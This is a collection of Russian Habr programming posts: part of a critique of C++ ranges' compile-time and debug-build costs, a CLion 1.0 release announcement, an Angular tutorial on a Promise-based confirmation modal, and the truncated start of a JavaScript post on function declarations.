return std::forward(r)
| view::transform(std::move(fun))
| view::join;
};
inline constexpr auto yield\_if =
[](bool b, T x) {
return b ? maybe\_view{std::move(x)}
: maybe\_view{};
};*
```
*Быть может*, что для кого-то это язык родной, но для меня всё это ощущается как если бы кто-то решил, что Perl излишне читабельный, а Brainfuck — излишне нечитабельный, поэтому давайте целиться между ними. Я программировал в основном на C++ все последние 20 лет. Может быть, я слишком тупой, чтобы во всём этом разобраться, отлично.
И да, конечно, `maybe_view`, `for_each`, `yield_if` — все они являются «переиспользуемыми компонентами», которые можно перенести в библиотеку; эта тема, про которую я расскажу… да прямо сейчас.
Проблемы с подходом «Всё Является Библиотекой»
==============================================
Существует как минимум два понимания производительности:
1. Во время компиляции
2. Во время выполнения неоптимизированной сборки
Продолжим иллюстрировать это на примере примера с пифагоровыми тройками, но на самом деле, эти проблемы справедливы для множества других фичей C++, реализованных как часть библиотек, а не как часть синтаксиса.
Финальная версия C++20 ещё не вышла, поэтому для быстрой проверки я взял текущее лучшее приближение ренжей, коим является [range-v3](https://github.com/ericniebler/range-v3) (написанное самим Эриком Ниблером), и собрал относительно него канонический пример с пифагоровыми тройками.
```
// ranges.cpp
#include
#include
#include
using namespace ranges;
int main()
{
clock\_t t0 = clock();
auto triples = view::for\_each(view::ints(1), [](int z) {
return view::for\_each(view::ints(1, z + 1), [=](int x) {
return view::for\_each(view::ints(x, z + 1), [=](int y) {
return yield\_if(x \* x + y \* y == z \* z,
std::make\_tuple(x, y, z));
});
});
});
RANGES\_FOR(auto triple, triples | view::take(100))
{
printf("(%i,%i,%i)\n", std::get<0>(triple), std::get<1>(triple), std::get<2>(triple));
}
clock\_t t1 = clock();
printf("%ims\n", (int)(t1-t0)\*1000/CLOCKS\_PER\_SEC);
return 0;
}
```
Я использовал версию после 0.4.0 (`9232b449e44` за 22 декабря 2018 года), и собрал с помощью команды `clang ranges.cpp -I. -std=c++17 -lc++ -o outranges`. Оно **собралось за 2.92 секунды**, исполняемый файл получился размером 219 килобайт, а **время выполнения увеличилось до 300 миллимекунд**.
И да, это сборка без оптимизаций. Оптимизированная сборка (`clang ranges.cpp -I. -std=c++17 -lc++ -o outranges -O2`) компилируется за 3.02 секунды, экзешник выходит размером 13976 байтов, и выполняется за 1 миллисекунду. Скорость выполнения в рантайме хороша, размер экзешника чуть увеличился, а вот время компиляции всё так же осталось проблемой.
Углубимся в подробности.
Время компиляции — огромная проблема для C++
============================================
Время компиляции этого реально наипростейшего примера заняло на 2.85 секунды дольше, чем версия с «простым C++».
Если вы вдруг подумали, что «меньше 3 секунд» — слишком маленькое время, то совершенно нет. За три секунды современный CPU может произвести несметное число операций. Например, за какое время clang сможет скомпилировать настоящий полноценный движок базы данных ([SQLite](https://sqlite.org/index.html)) в отладочном режиме, включая все 220 *тысяч* строчек кода? За 0.9 секунд на моём ноутбуке. В какой такой вселенной стало нормальным, чтобы тривиальный пример на 5 строчек компилировался в три раза дольше целого движка баз данных?
Время компиляции С++ было источником боли на всех нетривиальных по размеру кодовых базах, где я работал. Не верите мне? Хорошо, попробуйте собрать какую-нибудь из широкоизвестных кодовых баз (Chromium, Clang/LLVM, UE4, и так далее отлично подойдут для примера). Среди множества вещей, которые *действительно* хочется иметь в C++, вопрос времени компиляции, наверное, на самом первом месте списка, и был там всегда. Тем не менее, складывается ощущение, что сообщество C++ в массе своей притворяется, что это совсем даже и не проблема, и в каждой следующей версии языка они перекладывают в заголовочные файлы *ещё больше* разных вещей, *ещё больше* вещей появляется в шаблонном коде, который обязан быть в заголовочных файлах.
В большинстве своём это связано с доисторической концепцией «просто скопипастим всё содержимое файла» модели `#include`, унаследованной из Си. Но в Си есть тенденция хранить в заголовках только объявления структур и прототипы функций, в C++ же обычно нужно свалить туда все шаблонные классы/функции.
[range-v3](https://github.com/ericniebler/range-v3) представляет из себя кусок кода размером 1.8 мегабайтов, и всё это в заголовочных файлах! Несмотря на то, что пример с сотней пифагоровых троек занимает 30 строчек, после обработки заголовков компилятору придётся скомпилировать 102 тысячи строк. В «простом C++» после всех преобразований получается 720 строк.
*Но ведь именно для этого есть предкомпилированные заголовки и/или модули!* — так и слышу, что вы это сейчас сказали. Справедливо. Давайте положим заголовки библиотеки ренжей в precompiled header (pch.h с текстом: `#include` , заинклудим получившийся pch.h, создадим PCH: `clang -x c++-header pch.h -I. -std=c++17 -o pch.h.pch`, скомпилируем с помощью pch: `clang ranges.cpp -I. -std=c++17 -lc++ -o outranges -include-pch pch.h.pch`). Время компиляции станет 2.24 секунды. То есть, PCH может сэкономить нам около 0.7 секунды времени компиляции. С оставшимися 2.1 секундами они никак не помогут, и это куда дольше, чем подход с простым C++ :(
Производительность сборки без оптимизаций — важна
=================================================
В рантайме пример с ренжами оказался **в 150 раз медленней**. Возможно, замедление в 2 или 3 раза ещё можно считать приемлемым. Всё, что в 10 раз медленней можно отнести в категорию непригодного к использованию. Больше, чем в сто раз медленней? Серьёзно?
На реальных кодовых базах, решающих реальные проблемы, разница в два порядка означает, что программа просто не сможет обработать настоящий объем данных. Я работаю в индустрии видеогейминга; по чисто практическим причинам это означает, что отладочные сборки игрового движка или тулинга не смогут обрабатывать настоящие игровые уровни (производительность даже не приблизится к необходимому уровню интерактивности). Возможно, существует такая индустрия, в которой можно запустить программу на наборе данных, подождать результата, и если это займет от 10 до 100 раз больше времени в отладочном режиме, это будет «досадно». Неприятно, раздражающе тормозно. Но если делается нечто, *обязанное быть интерактивным*, «досадно» превращается в «неприменимо». Вы буквально не сможете играть в игру, если она рендерит изображение со скоростью всего 2 кадра в секунду.
Да, сборка с оптимизациями (`-O2` в clang) работает со скоростью «простого C++»… ну да, ну да, «zero cost abstractions», где-то слышали. Бесплатные абстракции до тех пор, пока вам неинтересно время компиляции и возможно использовать оптимизирующий компилятор.
Но отладка оптимизированного кода — это *сложно*! Конечно, это возможно, и даже является очень полезным навыком. Подобно тому, как езда на одноколёсном велосипеде тоже возможна и учит наиважнейшему навыку балансирования. Кое-кто умеет получать от этого удовольствие, и даже вполне неплох в данном занятии. Но большинство людей никогда не выберут моноцикл в качестве основного средства передвижения, так же как большинство людей не отлаживают оптимизированный код, если есть хоть малейшая возможность этого избежать.
Arseny Kapoulkine делал крутой стрим «[Optimizing OBJ loader](https://www.youtube.com/watch?v=m1jAgV4ZOhQ)» на YouTube, там он упёрся в проблему тормознутости отладочной сборки, и сделал её в 10 раз быстрее, выбросив некоторые куски STL ([коммит](https://github.com/zeux/meshoptimizer/commit/1996f143b8b3)). Побочными эффектами стало ускорение компиляции ([исходник](https://twitter.com/zeuxcg/status/1043155003681124352)) и упрощение отладки, поскольку реализация STL от Microsoft адски помешана на вложенных вызовах функций.
Это не к тому, что «STL — плохо»; возможно написать такую реализацию STL, которая не будет тормозить десятикратно в неоптимизированной сборке (EASTL и libc++ так умеют), но по какой-то причине Microsoft STL *невероятно сильно* тормозит потому, что они излишне сильно заложились на принцип «инлайнинг всё починит».
Как *пользователю языка*, мне всё равно, чья это проблема! Всё что мне известно изначально — «STL тормозит в отладочном режиме», и я бы предпочёл, чтобы кто-то это исправил уже. Ну или мне придётся искать альтернативы (например, не использовать STL, самостоятельно написать нужные лично мне вещи, или вообще отказаться от C++, как вам такое).
Сравним с другими языками
=========================
Давайте коротко взглянем на очень схожую реализацию «лениво вычисляемых пифагоровых троек» на C#:
```
using System;
using System.Diagnostics;
using System.Linq;
class Program
{
public static void Main()
{
var timer = Stopwatch.StartNew();
var triples =
from z in Enumerable.Range(1, int.MaxValue)
from x in Enumerable.Range(1, z)
from y in Enumerable.Range(x, z)
where x*x+y*y==z*z
select (x:x, y:y, z:z);
foreach (var t in triples.Take(100))
{
Console.WriteLine($"({t.x},{t.y},{t.z})");
}
timer.Stop();
Console.WriteLine($"{timer.ElapsedMilliseconds}ms");
}
}
```
По мне так, это кусок весьма и весьма читабелен. Сравните вот эту строчку на C#:
```
var triples =
from z in Enumerable.Range(1, int.MaxValue)
from x in Enumerable.Range(1, z)
from y in Enumerable.Range(x, z)
where x*x+y*y==z*z
select (x:x, y:y, z:z);
```
с примером на C++:
```
auto triples = view::for_each(view::ints(1), [](int z) {
return view::for_each(view::ints(1, z + 1), [=](int x) {
return view::for_each(view::ints(x, z + 1), [=](int y) {
return yield_if(x * x + y * y == z * z,
std::make_tuple(x, y, z));
});
});
});
```
Мне ясно видно, что здесь чище написано. А вам? Если честно, то альтернатива на C# LINQ тоже выглядит перегруженной:
```
var triples = Enumerable.Range(1, int.MaxValue)
.SelectMany(z => Enumerable.Range(1, z), (z, x) => new {z, x})
.SelectMany(t => Enumerable.Range(t.x, t.z), (t, y) => new {t, y})
.Where(t => t.t.x * t.t.x + t.y * t.y == t.t.z * t.t.z)
.Select(t => (x: t.t.x, y: t.y, z: t.t.z));
```
Сколько собирается этот код на C#? Я использую Mac, поэтому запустив на компиляторе Mono (который тоже написан на C#) версии 5.16 команду `mcs Linq.cs` получилось скомпилировать второй пример за 0.20 секунд. Эквивалентный пример на «простом C#» уложился в 0.17 секунд.
То есть, ленивые вычисления в стиле LINQ **добавляют 0.03 секунды работы компилятора**. Сравните с дополнительными 3 секундами для C++ — это **в 100 раз больше**!
Но ведь нельзя просто проигнорировать то, что не нравится?
==========================================================
Да, в какой-то степени.
Например, мы здесь в [Unity](https://unity3d.com/) любим шутить, что «за добавление в проект Boost можно оказаться уволенным по статье». Похоже, всё же не увольняют, потому что в прошлом году я обнаружил, что кто-то добавил [Boost.Asio](https://www.boost.org/doc/libs/1_66_0/doc/html/boost_asio.html), всё стало дико медленно собираться, и мне пришлось разбираться с тем, что простое добавление `asio.h` инклудит за собой весь , со всеми [кошмарными макросами](http://aras-p.info/blog/2018/01/12/Minimizing-windows.h/) внутри.
По большей части мы стараемся не использовать и большую часть STL. У нас есть собственные контейнеры, созданные по той же причине, что описаны во [введении к EASTL](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2007/n2271.html) — более однообразный способ доступа, работающий между различными платформами/компиляторами, более хорошая производительность в сборках без оптимизаций, лучшая интеграция с нашими собственными аллокаторами памяти и трекингом аллокаций. Есть и кое-какие другие контейнеры, чисто по причинам производительности (`unordered_map` в STL *даже по идее* не может быть быстрой, поскольку стандарт требует использования separate chaining; наша же хэш-таблица использует вместо этого открытую адресацию). Большая часть стандартной библиотеки нам и не нужна совсем.
Тем не менее.
Требуется время, чтобы убедить каждого нового сотрудника (особенно джуниоров, только что вышедших из университета) что нет, «современный» C++ не означает автоматически, что он лучше старого (*он может быть лучше! а может и не быть*). Или например, что «код на Си» не обязательно значит, что его сложно понимать и он весь завален багами (*может быть, так и есть! а может и нет*).
Всего пару недель назад я жаловался всем и каждому, как я пытаюсь понять один конкретный кусок (нашего собственного) кода, и не могу, потому что этот код «слишком сложный» для меня. Другой (джуниор) подсел рядом и спросил, почему я выгляжу так, как будто готов (ﾉಥ益ಥ）ﾉ ┻━┻, я сказал «ну, потому что пытаюсь понять этот код, но для меня он слишком сложный». Его мгновенная реакция была вроде: *«о, это какой-то старый код в стиле Си?»*. И я такой: *«нет, в точности до наоборот!»*. (Код, о котором идёт речь, был чем-то вроде [шаблонного метапрограммирования](https://twitter.com/aras_p/status/1069882742429638657)). Он не работал ни над большими кодовыми базами, ни над C или C++, но *нечто* уже убедило его, что нечитаемым должен быть именно код на Си. Я виню университет; обычно студентам сразу же втирают, что «Си — это плохо», и потом никогда не объясняют — почему; это оставляет неизгладимый отпечаток на неокрепшей психике будущих программистов.
Поэтому да, я определённо склонен игнорировать те части C++, которые мне не нравятся. Но обучать всех коллег вокруг весьма утомительно, поскольку слишком многие находятся под влиянием идей вроде «современное — значит хорошее», или «стандартная библиотека должна быть лучше, чем что угодно, что мы сможем написать сами».
Почему такое происходит с C++?
==============================
Понятия не имею. У них есть очень сложная задача, «как продолжать эволюцию языка, сохраняя почти стопроцентную обратную совместимость с решениями, сделанными на протяжении многих десятков лет». Наложите этот факт на то, что C++ пытается служить сразу нескольким хозяевам, учитывать множество способов использования и уровней опыта, и у вас появилась огромная проблема!
Но до какой-то степени, есть ощущение, что большая часть комитета C++ и экосистемы сфокусирована на «сложности» в смысле доказательства собственной полезности.
 В интернетах ходит шутка о стадиях развития программиста на C/C++. Я помню, как был на средней стадии где-то лет 16 назад. Был очень поражён Boost, в том смысле что: «вау, *такие шутки можно делать*, это так круто!». Не задаваясь вопросом, *зачем* это вообще делать.
Точно так же, ну например, автомобили Formula 1 или гитары с тремя грифами. Поразительно? Конечно. Чудо инженерной мысли? Безусловно. Требует огромного скилла, чтобы управляться с ними? Да! *Не является правильным инструментом* для 99% ситуаций, в которых вы когда либо находились? Точняк.
Кристер Эриксон красиво сказал об этом [здесь](https://twitter.com/ChristerEricson/status/1078095388244996096):
> Цель программиста в том, чтобы делать поставки в срок и в рамках бюджета. Не «писать код». Имхо, большинство сторонников современного C++ 1) придают чрезмерное значение исходному коду вместо 2) времени компиляции, отладки, когнитивной нагрузки, создаваемой новыми концепциями и добавленной сложностью, требованиями проекта, и так далее. Решает пункт 2.
И да, люди, обеспокоенные состоянием C++ и стандартных библиотек, конечно, могут объединить усилия и попытаться улучшить их. Некоторые так и делают. Некоторые слишком заняты (или они так думают) чтобы тратить время на комитеты. Некоторые игнорируют куски стандартов и делают свои собственные параллельные библиотеки (вроде [EASTL](https://github.com/electronicarts/EASTL)). Некоторые пришли к выводу, что C++ уже не спасти, и пытаются сделать собственные языки ([Jai](https://inductive.no/jai/)) или перепрыгнуть на другую лодку ([Rust](https://www.rust-lang.org/), [подмножества C#](https://unity.com/unity/features/job-system-ECS#burst-compiler)).
Принимаем и даём обратную связь
===============================
Я знаю, насколько это неприятно, когда «куча озлобленных людей в интернете» пытается сказать, что вся твоя работа — лошадиного навоза не стоит. Я работаю, возможно, над [самым популярным в мире игровым движком](https://unity3d.com/), которым пользуются миллионы, и часть из них любит говорить, прямо или непрямо, насколько он отвратительный. Это тяжело; я и другие коллеги вложили в это столько раздумий и усилий, и вдруг кто-то проходит мимо и говорит, что мы тут все идиоты и наша работа — мусор. Печально!
Скорей всего, что-то подобное испытывает каждый, кто работает над C++, STL или любой другой широко используемой технологией. Они годами работали над чем-то важным, и тут куча Разъярённых Жителей Нижнего Интернета пришла и расфигачила твою любимую работу.
Слишком легко перейти в защитную позу, это наиболее естественная реакция. Обычно — не самая конструктивная.
Если не обращать внимания на буквальных троллей, которые ноют по интернетам просто для удовольствия, большинство жалобщиков *действительно имеют* проблемы или неприятности, стоящие за ними. Они могут плохо это формулировать, или преувеличивать, или жалобщик не подумал над множеством других точек зрения кроме своей собственной, но тем не менее, существует *вполне конкретная проблема*, лежащая за всеми этими проявлениями.
Что я делаю, когда кто-то жалуется на вещь, над которой я работал? Нужно забыть о «себе» и «своей работе», и принять их точку зрения. С чем они пытаются разобраться, какие проблемы пытаются решить? Задача любого софта/библиотек/языков — помочь пользователям решить их проблемы. Это может быть или идеальный инструмент для решения этих проблем, или «ок, это может сработать», или совершенно ужасно плохое решение.
* «Я очень упорно над этим работал, но да, похоже что мой инструмент не очеь хорош в решении ваших проблем» — это совершенно правильный исход!
* «Я очень упорно над этим работал, но не знаю или не учёл ваших потребностей, давайте я разберусь, что здесь можно сделать» — это тоже отличный исход!
* «Простите, я не понимаю вашей проблемы» — тоже подойдёт!
* «Я очень упорно над этим работал, но похоже, ни у кого нет проблем, которые решает моя работа» — очень печальных исход, но он *может* случиться, и *случается* на практике.
Некоторые из ответов вида «весь фидбек будет проигнорирован, если он не оформлен в виде документа, представленного на собрании комитета C++», которые я видел в последнее время не кажутся мне продуктивным подходом. Точно так же, защита архитектуры библиотеки с помощью аргумента вида «это была популярная бибилиотека в Boost!» не учитывает той части мира C++, которая не считает, что Boost — это что-то хорошее.
Индустрия видеогейминга, если смотреть глобально, тоже виновата. Игровые технологии традиционно создаются с помощью C или C++ просто потому, что вплоть до самого последнего времени остальные системные языки программирования просто не существовали (но теперь есть как минимум Rust, составляющий достойную конкуренцию). Учитывая ту зависимость от C++, в которую попала индустрия, она совершенно точно не проделала достаточной работы, чтобы её замечали, и не занимается достаточно улучшением языка, библиотек и экосистемы.
Да, это тяжелая работа, и да — жаловаться в интернете куда проще. И кто бы ни начал работать над будущим C++, это самое будущее не в решении «непосредственных проблем» (вроде поставки игры или чего-то такого); они должны работать над чем-то куда более долговременным. Существуют компании, которые могут это позволить; любая компания, производящая большой игровой движок или большой издатель с централизованной технологической группой совершенно точно может этим заняться. Если это будет стоить того, но знаете, это как-то лицемерно, говорить «C++ — фигня полная, нам это не нужно», и при этом никогда не доносить разработчикам языка, что же вам нужно.
Моё впечатление от всего этого в том, что большинство игровых технологий чувствуют себя достаточно хорошо с последними (C++11/14/17) нововведениями в сам язык C++ — например, полезными оказались лямбды, `constexpr if` очень крут, и так далее. Но есть тенденция игнорировать то, что добавилось в стандартные библиотеки, как по причине описанных выше проблем в архитектуре и реализациях STL (долгое время компиляции, плохая производительность в отладке), так и просто потому, что они эти дополнения недостаточно вкусные, или компании уже написали свои собственные контейнеры/строки/алгоритмы/… многие годы назад, и не понимают, зачем им менять то, что уже работает.
> Минутка рекламы. **19-20 апреля в Москве** состоится конференция **C++ Russia 2019**. Будет множество хардкорных докладов, всё как вы любите. Один из наших гостей — **Arno Schödl**, отличный докладчик и CTO компании Think-Cell, расскажет про «**Text Formatting For a Future Range-Based Standard Library**». Искали место, где можно обсудить ренжи и другие новые фичи? Вы его нашли. Как попасть на конференцию, можно узнать [на официальном сайте](http://cppconf.ru/registration/?utm_source=habr&utm_medium=438260) (**с первого февраля** цены на билеты повысятся).
|
https://habr.com/ru/post/438260/
| null |
ru
| null |
# CLion 1.0 — мощный инструмент для мощного языка
В сентябре прошлого года мы порадовали вас [новостью](http://habrahabr.ru/company/JetBrains/blog/236061/) о начале программы публичного превью (Public Early Access Program) нашей новой кросс-платформенной IDE для разработки на C и C++ — CLion. А уже сегодня мы готовы сказать — **релиз CLion 1.0 состоялся!** За два года от [первого (полушутливого) объявления](//blog.jetbrains.com/blog/2013/04/01/jetbrains-research-labs-quarterly-report/) о начале разработки C++ IDE мы прошли огромный путь — переосмыслили свои навыки и умения по работе с кодом на C++, дружно освоили CMake, расширили команду, протестировали CLion на десятках больших проектов на C и C++.
Но самое главное — это каждодневная поддержка C++ коммьюнити, которое (спасибо вам!) приняло нас очень благосклонно. Спасибо за слова поддержки, репорты багов, предложения новых фич, сотни ретвитов и репостов наших новостей и анонсов! Сегодня мы готовы показать вам и рассказать, что же вошло в CLion 1.0.
Языки, платформы, инструменты
=============================
Кто-то из вас уже знает, что поддержку разработки на C и C++ предлагают сразу три наших продукта — [ReSharper C++](//www.jetbrains.com/resharper-cpp/), [AppCode](//www.jetbrains.com/objc) и собственно CLion. CLion ориентирован на кросс-платформенную разработку, с использованием GCC или Clang (в случае Windows вам для этого потребуется Cygwin или MinGW). В качестве проектной модели используется CMake, для отладки — GDB. Этот набор будет, наверняка, меняться в дальнейшем — мы планируем и поддержку других билд-систем (Makefiles, qmake и др.), и использование LLDB для отладки. Для вашего удобства в сборку CLion входят [CMake 3.1.3](http://www.cmake.org/overview/) и [GDB 7.8](http://www.gnu.org/software/gdb) (исключение составляет случай использования Cygwin — там GDB не входит в сборку CLion). Если эти версии вам не подходят, легко можно поменять на любые другие версии соответствующих инструментов — в настройках надо открыть Build, Execution, Deployment | Toolchains и указать пути до нужных версий. Тут же находится небольшой тест для указанного набора тулов — если все в порядке, то вы увидите:
Поддержка CMake
===============
Как уже сказано выше, CLion использует CMake в качестве проектной модели. Всю информацию о том, какие файлы входят в проект, какой стандарт C++ стоит использовать, какие библиотеки и флаги компиляции будут использоваться, и т. д. CLion берет именно из CMake. Пока что немногое из этого вынесено в отдельный UI:
Также есть специальное окно для редактирования настроек CMakeCache.
Если у вас уже есть проект на основе CMake, для начала работы с CLion просто откройте в IDE CMakeLists.txt верхнего уровня. Если же нет, то можно попробовать заимпортировать проект в CMake с помощью File | Import Project… CLion поможет создать простейший CMakeLists.txt.
Для удобства редактирования файлов CMake работает автодополенение команд CMake:
Здесь же пригодится и однострочное (с помощью `Ctrl+/` на Windows/Linux, `⌘/` на OS X) или блочное комментирование (`Ctrl+Shift+/` на Windows/Linux, `⌥⌘/` на OS X) в файлах CMake. Все изменения можно применить тут же автоматически, разрешив CLion перегружать проект автоматом после изменений.
Для каждого таргета CMake CLion создает конфигурацию, которую можно собирать и запускать (в случае, если указан исполняемый файл). Исполняемый файл можно сменить в настройках конфигурации в Run | Edit Configurations… Это может быть полезно, если вы захотите указать исполняемый файл для конфигурации *all*, доступной по умолчанию. При добавлении новых файлов и классов C++ в проект через контекстное меню New, CLion предлагает автоматически обновить таргеты CMake — вам будет показан список для выбора нужного (нужных).
Умные возможности
=================
Построенный на нашей открытой платформе [IntelliJ](http://www.jetbrains.org/pages/viewpage.action?pageId=983889), CLion включает множество традиционных умных возможностей, которые помогают разработчикам быть более продуктивными:
* умное автодополнение с фильтрацией по типу и использованием Camel Case/Snake case/Middle matching;
* автоформатирование кода, настройки стилей;
* быстрые сочетания клавиш практически для всех действий и команд. Стандартные раскладки IntelliJ IDEA, Emacs, Visual Studio, Eclipse, NetBeans, Xcode, ReSharper, а также возможности настройки раскладок;
* поиск использования символа, причем не текстовый, а с использованием текущего контекста, также можно искать символ в строках и комментариях;
* навигация по имени символа/класса/файла, переход вверх/вниз по иерархии, переход на определение/декларацию;
* различные режимы просмотра-навигации по структуре кода — по структуре текущего файла, по иерархии типов/вызовов/include-ов;
* система закладок по коду, *TODO* (CLion даже предупредит вас, если вы вдруг забудете закончить какую-то задачу в коде, отмеченную как *TODO*, перед коммитом кода в систему версионного контроля);
* генерация кода: забытые или еще не реализованные функции, члены родительских классов, конструкторы, функции get/set для полей класса — CLion поможет сгенерировать все это в один клик;
* *surround with* и *live templates* помогут быстро обернуть выделенные строки кода в *if*, *while*, *for*, *#ifdef* и др. или сгенерировать итератор по коллекции;
Рефакторинги
------------
Конечно же, в CLion множество [рефакторингов](//youtu.be/0GbMH-whqHQ), которые автоматически обновят все необходимые места в вашем коде:
* **Rename** — при переименовании CLion сможет учесть не только контекст символа, но и использования в строках и комментариях;
* **Change Signature** — с помощью этого рефакторинга можно добавлять/удалять параметры, менять их порядок (порядок аргументов в вызовах функции также будет обновлен автоматически), менять тип результата;
* **Move, Copy, Safe Delete** — незаменимы для безопасной работы с файлами проекта;
* **Inline** — уберет лишнюю переменную или вызов функции, заменив их на непосредственное значение/код функции;
* **Extract Variable/Constant/Parameter/Typedef/Define** — не просто добавят новую переменную, тип, константу или макроопределение с новым именем, но и дадут возможность вынести определение в заголовочный файл и объявить новую константу статической. При нахождении аналогичных значений в других местах кода, CLion предложит подставить новую переменную/тип/константу/макрос не только в данном месте, но и в аналогичных использованиях:
* **Extract Function** — CLion автоматически определит, какие параметры надо передать на вход новой функции, а какое значение надо отдавать на выход, подставив нужные значения при использовании;
* **Extract Superclass/Subclass** и **Pull Members Up/Push Members Down** — эти две пары рефакторингов помогут с реорганизацией иерархии классов в вашем проекте; для удобства в соответствующем диалоге работает автодополнение для поиска нужного класса по имени.
Анализ кода
-----------
CLion не просто дает вам возможность писать код, но и пытается буквально понять, что же вы написали, и нет ли в этом коде проблем. За счет анализа кода на лету не только подсвечиваются потенциальные проблемы, но и сразу предлагаются способы их исправить (quick-fixes). CLion предоставляет более 40 инспекций по коду на C и C++, включая поиск неиспользуемого кода; пропущенные случаи в switch-case операторе; создание переменных, перекрывающих другие переменные, доступные в этом же контексте, с таким же именем; поиск бесконечной рекурсии и бесконечных циклов (здесь CLion использует полноценный Data Flow Analysis); несоответствия типов и др.:
Отладка
========
Встроенный отладчик (с использованием GDB) поможет досконально разобраться в коде. В CLion доступны несколько типов точек останова (breakpoints):
* **Line breakpoints** — самый простой и часто используемый, легко ставится и снимается простым кликом в левый вертикальной панели маркеров рядом с окном редактора;
* **Symbolic breakpoints** — необходимы, когда хочется остановиться в какой-то библиотечной функции или вызове, код которых не доступен или сложно определить строчку для точки останова первого типа;
* **Exception breakpoints** — как видно из названия, предназначены для перехвата и остановки в момент бросания исключений.
В редакторе во время отладки появятся непосредственные значения переменных (прямо напротив их объявления), а окно отладчика даст возможность просматривать значения переменных, добавлять watches, запускать любую команду в консоли GDB. Также можно посчитать значение любого выражения во время отладки, а автодополнение поможет в написании непосредственно интересующего вас выражения:
И напоследок
============
CLion, как и другие наши IDE, включает интеграцию с разнообразными системами контроля версий (Subversion, Git, GitHub, Mercurial, CVS, Perforce, TFS) и баг-трекерами (Jira, [YouTrack](http://www.jetbrains.com/youtrack/), PivotalTracker, Bugzilla и многими другими), хранит локальную историю. Множество дополнительных функций доступно через систему [плагинов](//plugins.jetbrains.com/?clion): для CLion их уже около сотни.
А для тех, кто привык к простой консоли и vi, есть встроенный терминал и плагин [IdeaVim](//plugins.jetbrains.com/plugin/164) для эмуляции Vim-режима.
И небольшое демо в завершение:
Заходите на наш [сайт](http://www.jetbrains.com/clion), читайте подробнее про [возможности](http://www.jetbrains.com/clion/features/) CLion, смотрите [видео](http://www.jetbrains.com/clion/documentation/), интересуйтесь [ценами и вариантами лицензий](http://www.jetbrains.com/clion/buy/).
А 6 мая 2015 года мы проведем **бесплатный вебинар**, на котором покажем самые интересные возможности CLion. [Зарегистрируйтесь уже сегодня!](http://info.jetbrains.com/CLion-Webinar-May2015-registration.html) В процессе вебинара можно будет задавать вопросы. Мы постараемся ответить на них в эфире, а на что не успеем — ответим в почте и блоге.
*Программируйте с удовольствием!
Ваша команда JetBrains CLion*
|
https://habr.com/ru/post/255723/
| null |
ru
| null |
# Заворачиваем в Promise модальное окно подтверждения действия
Когда пользователь совершает какие-то критические и/или необратимые действия, перед тем, как отправить запрос на сервер, нужно запросить у пользователя подтверждение.
Как правило, выводится модал «Вы уверены, что хотите сделать то то и то то» и внизу две кнопки: Да и Нет. Если пользователь нажал «да», то отправляем запрос на сервер и закрываем модал. Если «нет», просто закрываем модал.
Это стандартный функционал, который обычно используется в нескольких местах в проекте. Также при наращивании функционала проекта, скорее всего добавиться еще несколько мест, где нужны модалы с подтверждением. Поэтому, во избежание дублирования кода, однозначно такой модал нужно выносить в отдельный компонент. Во избежание соблазна забивать костыли, этот компонент должен быть максимально универсальным и простым в использовании.
Перейдем от лирики к делу. Для отображения модала будем использовать Bootstrap.
Собственно мой вариант такого компонента:
*yes-no-modal.component.html*
```
#### {{title}}
×
{{body}}
{{noBtnText}}
{{yesBtnText}}
```
*yes-no-modal.component.ts*
```
import {Component, Input, OnInit, ViewChild} from '@angular/core';
import {ModalDirective} from 'ngx-bootstrap/modal';
@Component({
selector: 'app-yes-no-modal',
templateUrl: './yes-no-modal.component.html',
styleUrls: ['./yes-no-modal.component.css']
})
export class YesNoModalComponent implements OnInit {
@ViewChild('yesNoModal') public yesNoModal: ModalDirective;
@Input() private type = 'info';
@Input() private title = '';
@Input() private body = '';
@Input() private yesBtnText = 'Да';
@Input() private noBtnText = 'Нет';
constructor() { }
ngOnInit(): void {
}
public showAsync(data = null): Promise {
return new Promise((resolve, reject) => {
this.yesNoModal.show();
this.onYesClick = () => {
this.yesNoModal.hide();
resolve(data);
};
this.onNoClick = () => {
this.yesNoModal.hide();
reject(data);
};
});
}
private onYesClick(): any {}
private onNoClick(): any {}
}
```
В параметры вынес заголовок предупреждения, текст предупреждения, цветовую схему/уровень важности (danger, info, warning), также можно переопределить надпись на кнопках.
Для показа модала вызываем showAsync, в который можем передавать произвольные данные. Эти же данные получаем в resolve/reject.
Далее подключаем модал в другом компоненте:
*account.component.html*
```
Удалить
```
*account.component.ts*
```
import {Component, OnInit, ViewChild} from '@angular/core';
import {YesNoModalComponent} from '../_common/yes-no-modal/yes-no-modal.component';
import {DeleteUserEndpoint} from '../../api/delete-user.endpoint';
import {ErrorService} from '../../services/error/error.service';
@Component({
selector: 'app-account',
templateUrl: './account.component.html',
styleUrls: ['./account.component.css'],
providers: [DeleteUserEndpoint]
})
export class AccountComponent implements OnInit {
@ViewChild('deleteModal') public deleteModal: YesNoModalComponent;
constructor (private deleteUserEndpoint: DeleteUserEndpoint) {
}
delete(data) {
this.deleteModal.showAsync(data).then(result => {
this.deleteUserEndpoint.execute(result);
});
}
ngOnInit(): void {
}
}
```
На мой взгляд, использование такого решения выглядит максимально просто и читаемо.
Для сравнения, при использовании EventEmitter, придется определять два метода в каждом компоненте — showDeleteModal(), который вызывается кликом по кнопке удалить, и метод delete(), который вызывается по событию модала. Если у вас в одном компоненте будет несколько таких модалов на разные действия пользователя, то читаемость кода будет уже страдать.
В комментариях как всегда жду конструктивную и обоснованную критику.
|
https://habr.com/ru/post/502386/
| null |
ru
| null |
# Javascript — персональное безумие
Есть случайное такое хобби — программирование на JavaScript.
Недавно возник у меня глобальный вопрос:
**Как часто JS программисты задумываются над [function statement]?**
На днях решил поискать в яднексе, как-то, кажется,
попадалась на глаза книжка *«Как перестать программировать и начать жить»*, нашел.
«Cейчас не об этом» и «Нет! Мы не будем полагаться на случай!».
(© – «Ирония судьбы, или «с легким паром»!»)
Что Мы все о нем знаем:
```
function My_Function_Name([parametrs]) { [Operators]; }
```
Почти все знают еще это:
```
My_Function_Name = function ([parametrs]) { [Operators]; }
```
Большинство знает про важность этого:
```
var My_Function_Name = function ([parametrs]){ [Operators]; }
```
И в частности этого:
```
function () {
var My_Function_Name = function ([parametrs]){
[Operators];
}
})()
```
Некоторые особенные создания даже делают так:
```
(function (){
var My_Function_Name =
new function ([parametrs]) {
[Operators];
}
})()
```
и, может быть в этой конструкции даже есть не совсем очевидный какой-нибудь смысл…
Пусть, допустим, есть:
1. Функция, которая что-то делает.
например так:
```
var mix = function (id){ return document.getElementById(id); }
```
:) — типа она сильно упрощает жизнь.
и к ней, приложено, например:
```
